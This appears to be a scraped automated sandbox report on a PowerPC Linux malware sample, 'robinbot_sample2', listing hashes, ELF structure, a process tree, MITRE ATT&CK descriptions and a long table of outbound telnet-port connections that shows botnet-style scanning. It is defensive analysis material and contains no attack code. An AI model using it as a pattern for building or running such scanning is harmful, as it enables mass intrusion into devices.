Preview:	ProblemType: Crash.Date: Tue Nov 29 17:52:33 2022.ExecutablePath: /usr/share/apport/apport-gtk.ExecutableTimestamp: 1514927430.InterpreterPath: /usr/bin/python3.5.ProcCmdline: /usr/bin/python3 /usr/share/apport/apport-gtk.ProcCwd: /home/user.ProcEnviron:. LANGUAGE=en_US. PATH=(custom, user). XDG_RUNTIME_DIR=<set>. LANG=en_US.UTF-8. SHELL=/bin/bash.ProcMaps:. 00400000-007a9000 r-xp 00000000 fc:00 217 /usr/bin/python3.5. 009a9000-009ab000 r--p 003a9000 fc:00 217 /usr/bin/python3.5. 009ab000-00a42000 rw-p 003ab000 fc:00 217 /usr/bin/python3.5. 00a42000-00a73000 rw-p 00000000 00:00 0 . 00e49000-0136a000 rw-p 00000000 00:00 0 [heap]. 7f6188e78000-7f6188f78000 rw-p 00000000 00:00 0 . 7f6188f78000-7f6188f8f000 r-xp 00000000 fc:00 2382 /usr/lib/x86_64-linux-gnu/liblz4.so.1.7.1. 7f6188f8f000-7f618918e000 ---p 00017000 fc:00 2382

Static File Info

General

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.3249574223453475
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	robinbot_sample2
File size:	133568
MD5:	d65bd6175517e0bcb6a6fc077cdcb655
SHA1:	f1a6dc5a7b2678f6e499e44de99beb0c0936d626
SHA256:	345e9c1b6ce0f34a6be63e5411348f4c1588654f61fcbc4d667cab4c8aef1ae3
SHA512:	555dd3c9f17cc000d0cea50e68bca3c9c0070bb9d0c418ef7fb75340c531d69f5c4b40efe5921e9974912ff29124c82dafc62915ff0add44ebe7245b7b0bc753
SSDEEP:	3072:qy/2cCus/af/ASX47hHLTTZBZ6JdeJPMqv:7apG/ASodTZCJdG0qv
TLSH:	32D308CB5F263E97C0CB93FA7937A3ED07D9AD2113E401442856DD8207731B9E6A4A78
File Content Preview:	.ELF...........................4...h.....4. ...(....................... ... ............... ... ... ......).........dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?......<.+../...A..$8...}).....<N..

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x19044	0x0	0x6	AX	4
.fini	PROGBITS	0x100190fc	0x190fc	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x10019120	0x19120	0x64fc	0x0	0x2	A	8
.eh_frame	PROGBITS	0x1001f61c	0x1f61c	0x4	0x0	0x2	A	4
.ctors	PROGBITS	0x1002f620	0x1f620	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1002f628	0x1f628	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1002f630	0x1f630	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1002f638	0x1f638	0x3b8	0x0	0x3	WA	8
.sdata	PROGBITS	0x1002f9f0	0x1f9f0	0x48	0x0	0x3	WA	4
.sbss	NOBITS	0x1002fa38	0x1fa38	0xcc	0x0	0x3	WA	4
.bss	NOBITS	0x1002fb04	0x1fa38	0x24e0	0x0	0x3	WA	4
.comment	PROGBITS	0x0	0x1fa38	0xccc	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x20704	0x63	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x1f620	0x1f620	6.3427	0x5	R E	0x10000	.init .text .fini .rodata .eh_frame
LOAD	0x1f620	0x1002f620	0x1002f620	0x418	0x29c4	2.8381	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 16:52:26.527036905 CET	48696	8080	192.168.2.20	201.164.126.60
Nov 29, 2022 16:52:26.531836987 CET	12451	2323	192.168.2.20	40.143.70.145
Nov 29, 2022 16:52:26.532183886 CET	12451	23	192.168.2.20	192.223.20.145
Nov 29, 2022 16:52:26.532205105 CET	12451	23	192.168.2.20	95.122.155.229
Nov 29, 2022 16:52:26.532213926 CET	12451	23	192.168.2.20	72.255.166.151
Nov 29, 2022 16:52:26.532217026 CET	12451	23	192.168.2.20	148.192.136.247
Nov 29, 2022 16:52:26.532222033 CET	12451	23	192.168.2.20	48.1.144.59
Nov 29, 2022 16:52:26.532236099 CET	12451	23	192.168.2.20	178.229.192.101
Nov 29, 2022 16:52:26.532247066 CET	12451	23	192.168.2.20	139.162.255.34
Nov 29, 2022 16:52:26.532255888 CET	12451	23	192.168.2.20	22.116.236.214
Nov 29, 2022 16:52:26.533082962 CET	12451	23	192.168.2.20	117.137.45.223
Nov 29, 2022 16:52:26.533505917 CET	12451	2323	192.168.2.20	176.94.182.162
Nov 29, 2022 16:52:26.533768892 CET	12451	23	192.168.2.20	172.138.140.219
Nov 29, 2022 16:52:26.533797026 CET	12451	23	192.168.2.20	21.111.165.4
Nov 29, 2022 16:52:26.534503937 CET	12451	23	192.168.2.20	67.213.190.126
Nov 29, 2022 16:52:26.534524918 CET	12451	23	192.168.2.20	142.161.183.24
Nov 29, 2022 16:52:26.535123110 CET	12451	23	192.168.2.20	51.241.3.142
Nov 29, 2022 16:52:26.535125017 CET	12451	23	192.168.2.20	147.45.175.49
Nov 29, 2022 16:52:26.535125017 CET	12451	23	192.168.2.20	212.146.132.224
Nov 29, 2022 16:52:26.535125971 CET	12451	23	192.168.2.20	130.98.181.182
Nov 29, 2022 16:52:26.535139084 CET	12451	23	192.168.2.20	215.64.153.158
Nov 29, 2022 16:52:26.535140991 CET	12451	23	192.168.2.20	91.38.183.101
Nov 29, 2022 16:52:26.535145998 CET	12451	23	192.168.2.20	20.177.52.165
Nov 29, 2022 16:52:26.535145998 CET	12451	2323	192.168.2.20	94.2.92.235
Nov 29, 2022 16:52:26.535145998 CET	12451	23	192.168.2.20	5.60.240.166
Nov 29, 2022 16:52:26.535161018 CET	12451	23	192.168.2.20	71.198.217.169
Nov 29, 2022 16:52:26.535171032 CET	12451	23	192.168.2.20	88.202.48.190
Nov 29, 2022 16:52:26.535185099 CET	12451	23	192.168.2.20	200.142.244.13
Nov 29, 2022 16:52:26.535201073 CET	12451	23	192.168.2.20	143.139.229.146
Nov 29, 2022 16:52:26.535216093 CET	12451	23	192.168.2.20	29.125.169.149
Nov 29, 2022 16:52:26.535239935 CET	12451	2323	192.168.2.20	219.192.100.9
Nov 29, 2022 16:52:26.535255909 CET	12451	23	192.168.2.20	221.199.235.83
Nov 29, 2022 16:52:26.535255909 CET	12451	23	192.168.2.20	47.117.49.146
Nov 29, 2022 16:52:26.537286043 CET	12451	23	192.168.2.20	19.125.253.88
Nov 29, 2022 16:52:26.537331104 CET	12451	23	192.168.2.20	27.33.154.185
Nov 29, 2022 16:52:26.537333965 CET	12451	23	192.168.2.20	67.189.248.199
Nov 29, 2022 16:52:26.537333965 CET	12451	23	192.168.2.20	206.190.203.175
Nov 29, 2022 16:52:26.537337065 CET	12451	23	192.168.2.20	85.156.230.252
Nov 29, 2022 16:52:26.537336111 CET	12451	23	192.168.2.20	221.40.44.83
Nov 29, 2022 16:52:26.537363052 CET	12451	23	192.168.2.20	16.106.81.238
Nov 29, 2022 16:52:26.537374973 CET	12451	23	192.168.2.20	138.198.61.41
Nov 29, 2022 16:52:26.537410021 CET	12451	23	192.168.2.20	118.147.239.21
Nov 29, 2022 16:52:26.537415981 CET	12451	2323	192.168.2.20	120.59.254.200
Nov 29, 2022 16:52:26.537483931 CET	12451	23	192.168.2.20	42.86.252.250
Nov 29, 2022 16:52:26.541948080 CET	12451	23	192.168.2.20	153.140.9.87
Nov 29, 2022 16:52:26.541982889 CET	12451	23	192.168.2.20	155.71.68.162
Nov 29, 2022 16:52:26.541994095 CET	12451	23	192.168.2.20	119.109.18.136
Nov 29, 2022 16:52:26.541994095 CET	12451	23	192.168.2.20	132.217.89.51
Nov 29, 2022 16:52:26.542016029 CET	12451	23	192.168.2.20	153.255.62.29
Nov 29, 2022 16:52:26.542033911 CET	12451	23	192.168.2.20	79.143.105.94
Nov 29, 2022 16:52:26.542036057 CET	12451	2323	192.168.2.20	44.104.110.234
Nov 29, 2022 16:52:26.542033911 CET	12451	23	192.168.2.20	135.181.106.25
Nov 29, 2022 16:52:26.542143106 CET	12451	23	192.168.2.20	49.200.232.97
Nov 29, 2022 16:52:26.542143106 CET	12451	23	192.168.2.20	60.204.93.179
Nov 29, 2022 16:52:26.542145967 CET	12451	23	192.168.2.20	182.163.200.254
Nov 29, 2022 16:52:26.542150974 CET	12451	23	192.168.2.20	133.202.217.154
Nov 29, 2022 16:52:26.542151928 CET	12451	23	192.168.2.20	71.65.179.132
Nov 29, 2022 16:52:26.542151928 CET	12451	23	192.168.2.20	196.244.234.109
Nov 29, 2022 16:52:26.542150974 CET	12451	23	192.168.2.20	156.127.116.236
Nov 29, 2022 16:52:26.542151928 CET	12451	23	192.168.2.20	114.88.82.73
Nov 29, 2022 16:52:26.542155027 CET	12451	23	192.168.2.20	130.26.180.206
Nov 29, 2022 16:52:26.542150974 CET	12451	23	192.168.2.20	22.73.177.72
Nov 29, 2022 16:52:26.542151928 CET	12451	23	192.168.2.20	25.23.154.238
Nov 29, 2022 16:52:26.542171001 CET	12451	2323	192.168.2.20	184.163.42.166
Nov 29, 2022 16:52:26.542171001 CET	12451	23	192.168.2.20	68.48.189.187
Nov 29, 2022 16:52:26.542206049 CET	12451	23	192.168.2.20	42.239.254.174
Nov 29, 2022 16:52:26.542207003 CET	12451	23	192.168.2.20	84.131.129.119
Nov 29, 2022 16:52:26.542206049 CET	12451	23	192.168.2.20	189.182.247.149
Nov 29, 2022 16:52:26.542207003 CET	12451	23	192.168.2.20	21.133.19.106
Nov 29, 2022 16:52:26.542208910 CET	12451	23	192.168.2.20	130.103.77.11
Nov 29, 2022 16:52:26.542227030 CET	12451	23	192.168.2.20	102.231.15.189
Nov 29, 2022 16:52:26.542241096 CET	12451	2323	192.168.2.20	27.150.167.37
Nov 29, 2022 16:52:26.542243004 CET	12451	23	192.168.2.20	80.148.197.77
Nov 29, 2022 16:52:26.542257071 CET	12451	23	192.168.2.20	49.177.90.68
Nov 29, 2022 16:52:26.542273998 CET	12451	23	192.168.2.20	29.48.246.64
Nov 29, 2022 16:52:26.542288065 CET	12451	23	192.168.2.20	216.25.80.219
Nov 29, 2022 16:52:26.542304039 CET	12451	23	192.168.2.20	104.23.191.137
Nov 29, 2022 16:52:26.542305946 CET	12451	23	192.168.2.20	50.231.97.15
Nov 29, 2022 16:52:26.542319059 CET	12451	23	192.168.2.20	182.179.164.178
Nov 29, 2022 16:52:26.542341948 CET	12451	23	192.168.2.20	119.188.255.140
Nov 29, 2022 16:52:26.542345047 CET	12451	23	192.168.2.20	101.9.215.254
Nov 29, 2022 16:52:26.542356014 CET	12451	2323	192.168.2.20	220.0.69.217
Nov 29, 2022 16:52:26.542368889 CET	12451	23	192.168.2.20	164.225.177.63
Nov 29, 2022 16:52:26.542385101 CET	12451	23	192.168.2.20	122.71.174.38
Nov 29, 2022 16:52:26.542395115 CET	12451	23	192.168.2.20	147.240.116.181
Nov 29, 2022 16:52:26.542423964 CET	12451	23	192.168.2.20	203.28.93.2
Nov 29, 2022 16:52:26.542432070 CET	12451	23	192.168.2.20	48.128.82.94
Nov 29, 2022 16:52:26.542444944 CET	12451	23	192.168.2.20	170.82.97.88
Nov 29, 2022 16:52:26.542458057 CET	12451	23	192.168.2.20	136.243.1.194
Nov 29, 2022 16:52:26.542495966 CET	12451	23	192.168.2.20	22.203.108.209
Nov 29, 2022 16:52:26.542505026 CET	12451	23	192.168.2.20	47.89.198.49
Nov 29, 2022 16:52:26.542505980 CET	12451	23	192.168.2.20	162.18.126.187
Nov 29, 2022 16:52:26.542507887 CET	12451	2323	192.168.2.20	218.211.44.245
Nov 29, 2022 16:52:26.542526960 CET	12451	23	192.168.2.20	137.220.153.69
Nov 29, 2022 16:52:26.542540073 CET	12451	23	192.168.2.20	50.79.10.219
Nov 29, 2022 16:52:26.542540073 CET	12451	23	192.168.2.20	110.100.165.151
Nov 29, 2022 16:52:26.542551041 CET	12451	23	192.168.2.20	54.181.152.144
Nov 29, 2022 16:52:26.542557955 CET	12451	23	192.168.2.20	66.152.99.245
Nov 29, 2022 16:52:26.542565107 CET	12451	23	192.168.2.20	147.120.253.201
Nov 29, 2022 16:52:26.542578936 CET	12451	23	192.168.2.20	149.71.239.223

System Behavior

Analysis Process: robinbot_sample2 PID: 9446, Parent PID: 9378

General

Start time:	16:52:25
Start date:	29/11/2022
Path:	/tmp/robinbot_sample2
Arguments:	/usr/bin/qemu-ppc /tmp/robinbot_sample2
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: robinbot_sample2 PID: 9454, Parent PID: 9446

General

Start time:	16:52:25
Start date:	29/11/2022
Path:	/tmp/robinbot_sample2
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: robinbot_sample2 PID: 9457, Parent PID: 9454

General

Start time:	16:52:25
Start date:	29/11/2022
Path:	/tmp/robinbot_sample2
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: robinbot_sample2 PID: 9458, Parent PID: 9454

General

Start time:	16:52:25
Start date:	29/11/2022
Path:	/tmp/robinbot_sample2
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: robinbot_sample2 PID: 9459, Parent PID: 9454

General

Start time:	16:52:25
Start date:	29/11/2022
Path:	/tmp/robinbot_sample2
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: robinbot_sample2 PID: 9460, Parent PID: 9454

General

Start time:	16:52:25
Start date:	29/11/2022
Path:	/tmp/robinbot_sample2
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: upstart PID: 9467, Parent PID: 3310

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/sbin/upstart
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: sh PID: 9467, Parent PID: 3310

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	/bin/sh -e /proc/self/fd/9
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: sh PID: 9468, Parent PID: 9467

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: date PID: 9468, Parent PID: 9467

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/bin/date
Arguments:	date
File size:	68464 bytes
MD5 hash:	54903b613f9019bfca9f5d28a4fff34e

Analysis Process: sh PID: 9485, Parent PID: 9467

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: apport-checkreports PID: 9485, Parent PID: 9467

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/usr/share/apport/apport-checkreports
Arguments:	/usr/bin/python3 /usr/share/apport/apport-checkreports --system
File size:	1269 bytes
MD5 hash:	1a7d84ebc34df04e55ca3723541f48c9

Analysis Process: upstart PID: 9494, Parent PID: 3310

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/sbin/upstart
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: sh PID: 9494, Parent PID: 3310

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	/bin/sh -e /proc/self/fd/9
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: sh PID: 9495, Parent PID: 9494

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: date PID: 9495, Parent PID: 9494

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/bin/date
Arguments:	date
File size:	68464 bytes
MD5 hash:	54903b613f9019bfca9f5d28a4fff34e

Analysis Process: sh PID: 9501, Parent PID: 9494

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: apport-gtk PID: 9501, Parent PID: 9494

General

Start time:	16:52:32
Start date:	29/11/2022
Path:	/usr/share/apport/apport-gtk
Arguments:	/usr/bin/python3 /usr/share/apport/apport-gtk
File size:	23806 bytes
MD5 hash:	ec58a49a30ef6a29406a204f28cc7d87

Analysis Process: upstart PID: 9521, Parent PID: 3310

General

Start time:	16:52:33
Start date:	29/11/2022
Path:	/sbin/upstart
Arguments:	n/a
File size:	0 bytes
MD5 hash:	unknown

Analysis Process: sh PID: 9521, Parent PID: 3310

General

Start time:	16:52:33
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	/bin/sh -e /proc/self/fd/9
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: sh PID: 9526, Parent PID: 9521

General

Start time:	16:52:33
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: date PID: 9526, Parent PID: 9521

General

Start time:	16:52:33
Start date:	29/11/2022
Path:	/bin/date
Arguments:	date
File size:	68464 bytes
MD5 hash:	54903b613f9019bfca9f5d28a4fff34e

Analysis Process: sh PID: 9533, Parent PID: 9521

General

Start time:	16:52:33
Start date:	29/11/2022
Path:	/bin/sh
Arguments:	n/a
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Analysis Process: apport-gtk PID: 9533, Parent PID: 9521

General

Start time:	16:52:33
Start date:	29/11/2022
Path:	/usr/share/apport/apport-gtk
Arguments:	/usr/bin/python3 /usr/share/apport/apport-gtk
File size:	23806 bytes
MD5 hash:	ec58a49a30ef6a29406a204f28cc7d87

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report robinbot_sample2

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/crash/_usr_share_apport_apport-checkreports.1000.crash

/var/crash/_usr_share_apport_apport-gtk.1000.crash

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: robinbot_sample2 PID: 9446, Parent PID: 9378

General

Analysis Process: robinbot_sample2 PID: 9454, Parent PID: 9446

General

Analysis Process: robinbot_sample2 PID: 9457, Parent PID: 9454

General

Analysis Process: robinbot_sample2 PID: 9458, Parent PID: 9454

General

Analysis Process: robinbot_sample2 PID: 9459, Parent PID: 9454

General

Analysis Process: robinbot_sample2 PID: 9460, Parent PID: 9454

General

Analysis Process: upstart PID: 9467, Parent PID: 3310

General

Analysis Process: sh PID: 9467, Parent PID: 3310

General

Analysis Process: sh PID: 9468, Parent PID: 9467

General

Linux Analysis Report
robinbot_sample2